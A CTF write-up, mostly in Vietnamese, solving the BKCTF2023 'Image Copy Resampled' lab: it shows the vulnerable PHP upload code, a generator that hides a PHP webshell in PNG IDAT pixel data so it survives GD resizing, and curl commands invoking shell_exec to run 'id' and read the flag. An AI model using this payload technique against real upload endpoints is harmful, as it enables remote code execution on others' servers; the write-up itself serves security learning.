owned this note
owned this note
Published
Linked with GitHub
# BKCTF2023 - Image Copy Resampled
> [Image Copy Resampled - Cookie Arena](https://battle.cookiearena.org/arenas/bkctf-2023/battle/image-copy-resampled)
>
> **Description:**
>
> - The lab simulates the image resize function using the GD library. However, it has something quite serious flaw. Read the file /flagXXXX.txt stored in the root directory '/’ to find the flag.
> **FLAG FORMAT: BKSEC{XXXX}**
>
> **Source code:** https://battle.cookiearena.org/arenas/bkctf-2023/battle/image-copy-resampled/download

Challenge cho source code có cấu trúc như sau
```
.
└── bkctf2023-imagecopyresampled
├── Dockerfile
├── build_docker.sh
├── challenge
│ ├── index.php
│ └── uploads
├── config
│ ├── fpm.conf
│ ├── nginx.conf
│ └── supervisord.conf
├── entrypoint.sh
└── flag.txt
4 directories, 8 files
```
Theo như Dockerfile thì file `flag.txt` nằm ở `/flag.txt`, trong đó chương trình còn có cài đặt cả `php7.4-gd`
```
FROM debian:buster-slim
# Setup user
RUN useradd www
# Install system packeges
RUN apt-get update && apt-get install -y supervisor nginx lsb-release wget
# Add repos
RUN wget -O /etc/apt/trusted.gpg.d/php.gpg https://packages.sury.org/php/apt.gpg
RUN echo "deb https://packages.sury.org/php/ $(lsb_release -sc) main" | tee /etc/apt/sources.list.d/php.list
# Install PHP dependencies
RUN apt update && apt install -y php7.4-fpm php7.4-gd
# Configure php-fpm and nginx
COPY config/fpm.conf /etc/php/7.4/fpm/php-fpm.conf
COPY config/supervisord.conf /etc/supervisord.conf
COPY config/nginx.conf /etc/nginx/nginx.conf
# Copy challenge files
COPY challenge /www
# Copy flag
COPY flag.txt /flag.txt
# Setup permissions
RUN chown -R www:www /www /var/lib/nginx
# Expose the port nginx is listening on
EXPOSE 1337
# Generate random flag filename and start supervisord
COPY --chown=root entrypoint.sh /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]
CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]
```
Sau đó thì chương trình thực thi file `/entrypoint.sh`, flag đã được chuyển vào một file có tên random nằm ở root path
```
#!/bin/bash
# Secure entrypoint
chmod 600 /entrypoint.sh
FLAG=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1)
cp /flag.txt /flag$FLAG.txt
echo '' > /flag.txt
exec "$@"
```
Giao diện của trang web là một form upload file

Sau khi upload một file ảnh thì trang web trả về đường dẫn hình ảnh

Truy cập đến đường dẫn này thì thấy hình ảnh mình upload lên đã bị thu nhỏ

Source code của trang này như sau
`index.php`
```php
<?php
if(isset($_FILES['image'])){
$upload_dir = "./uploads/";
$file_name = $_FILES['image']['name'];
$file_tmp = $_FILES['image']['tmp_name'];
$file_type = $_FILES['image']['type'];
$file_ext = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));
$size_check = getimagesize($file_tmp);
$allowed_ext = array('jpg', 'png', 'php');
if(in_array($file_ext, $allowed_ext)){
$image = imagecreatefromstring(file_get_contents($file_tmp));
$cropped_image = imagecreatetruecolor(40, 40);
imagecopyresampled($cropped_image, $image, 0, 0, 0, 0, 40, 40, imagesx($image), imagesy($image));
$random_name = md5(uniqid(rand(), true));
$new_file_name = $random_name . '.' . $file_ext;
if ($file_ext === 'jpg' || $file_ext === 'png' ) {
//check size
if ($size_check[0] < 40 || $size_check[1] < 40) {
echo "Ảnh của bạn hơi nhỏ. Chúng tôi cần ảnh lớn hơn 40x40 pixels\n<br>";
} else {
if($file_ext === 'jpg'){
imagejpeg($cropped_image, $upload_dir . $new_file_name);
} else {
imagepng($cropped_image, $upload_dir . $new_file_name);
}
echo "ảnh đã được lưu tại đây\n<br>";
echo $upload_dir;
echo $new_file_name;
imagedestroy($image);
imagedestroy($cropped_image);
}
} else {
imagepng($cropped_image, $upload_dir . $new_file_name);
echo "ảnh đã được lưu tại đây\n<br>";
echo $upload_dir;
echo $new_file_name;
imagedestroy($image);
imagedestroy($cropped_image);
}
} else {
echo "Chỉ cho phép tải lên tệp JPG hoặc PNG và pHp ;D ? ? ?";
}
}
?>
<!-- HTML Form để tải lên tệp -->
<h3>upload file ảnh miễn phí nhưng tôi sẽ nén chất lượng của bạn xuống 40px</h3>
<form action="" method="POST" enctype="multipart/form-data">
<input type="file" name="image">
<input type="submit" value="Tải Lên">
</form>
```
Trang web chỉ cho phép upload các file jpg, png, php
```
$allowed_ext = array('jpg', 'png', 'php');
```
Sau khi upload thì chương trình đã sử dụng `imagecopyresampled()` để thực hiện thay đổi size hình ảnh
```php
$image = imagecreatefromstring(file_get_contents($file_tmp));
$cropped_image = imagecreatetruecolor(40, 40);
imagecopyresampled($cropped_image, $image, 0, 0, 0, 0, 40, 40, imagesx($image), imagesy($image));
$random_name = md5(uniqid(rand(), true));
$new_file_name = $random_name . '.' . $file_ext;
```
Mình thử upload một file php

Khi truy cập đến file này thì trang web trả về những kí tự không thể đọc được, và script của mình cũng đã bị mất

Lý do là vì đoạn mã của mình đã đi qua `imagecopyresampled()` thực hiện resize hình ảnh dẫn đến mất đi đoạn script của mình
[PHP: imagecopyresampled - Manual](https://www.php.net/manual/en/function.imagecopyresampled.php)
```
imagecopyresampled($cropped_image, $image, 0, 0, 0, 0, 40, 40, imagesx($image), imagesy($image));
```
Để bypass cái này mình đã tham khảo trang này [Persistent PHP payloads in PNGs: How to inject PHP code in an image – (synacktiv.com)](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) thực hiện chèn script của mình vào PNG IDAT Chunk
Và tham khảo script của [astrolock/payloads/generators/gen_idat_png.php at main · synacktiv/astrolock (github.com)](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) để gen payload
`gen_payload.php`
```
<?php
header('Content-Type: image/png');
$p = array(0xA3, 0x9F, 0x67, 0xF7, 0x0E, 0x93, 0x1B, 0x23, 0xBE, 0x2C, 0x8A, 0xD0, 0x80, 0xF9, 0xE1, 0xAE, 0x22, 0xF6, 0xD9, 0x43, 0x5D, 0xFB, 0xAE, 0xCC, 0x5A, 0x01, 0xDC, 0xAA, 0x52, 0xD0, 0xB6, 0xEE, 0xBB, 0x3A, 0xCF, 0x93, 0xCE, 0xD2, 0x88, 0xFC, 0x69, 0xD0, 0x2B, 0xB9, 0xB0, 0xFB, 0xBB, 0x79, 0xFC, 0xED, 0x22, 0x38, 0x49, 0xD3, 0x51, 0xB7, 0x3F, 0x02, 0xC2, 0x20, 0xD8, 0xD9, 0x3C, 0x67, 0xF4, 0x50, 0x67, 0xF4, 0x50, 0xA3, 0x9F, 0x67, 0xA5, 0xBE, 0x5F, 0x76, 0x74, 0x5A, 0x4C, 0xA1, 0x3F, 0x7A, 0xBF, 0x30, 0x6B, 0x88, 0x2D, 0x60, 0x65, 0x7D, 0x52, 0x9D, 0xAD, 0x88, 0xA1, 0x66, 0x94, 0xA1, 0x27, 0x56, 0xEC, 0xFE, 0xAF, 0x57, 0x57, 0xEB, 0x2E, 0x20, 0xA3, 0xAE, 0x58, 0x80, 0xA7, 0x0C, 0x10, 0x55, 0xCF, 0x09, 0x5C, 0x10, 0x40, 0x8A, 0xB9, 0x39, 0xB3, 0xC8, 0xCD, 0x64, 0x45, 0x3C, 0x49, 0x3E, 0xAD, 0x3F, 0x33, 0x56, 0x1F, 0x19 );
$img = imagecreatetruecolor(40, 40);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img);
?>
```
Sau khi gen payload

Upload file này và sử dụng curl để thực thi
```
$ curl -XPOST -d '1=id' 'http://18.141.143.171:30935/uploads/c9a32b97fa0db4e81397178f93c716f8.php?0=shell_exec' --output out.txt && cat out.txt
```
Kết quả RCE thành công

Cuối cùng chỉ cần đọc flag thôi
```
curl -XPOST -d '1=cat /flag*' 'http://18.141.143.171:30935/uploads/c9a32b97fa0db4e81397178f93c716f8.php?0=shell_exec' --output out.txt && cat out.txt
```

`Flag: BKSEC{Php_Gd_iDa7_cHunk_12985870105323b8a9712ab492eeb5e4}`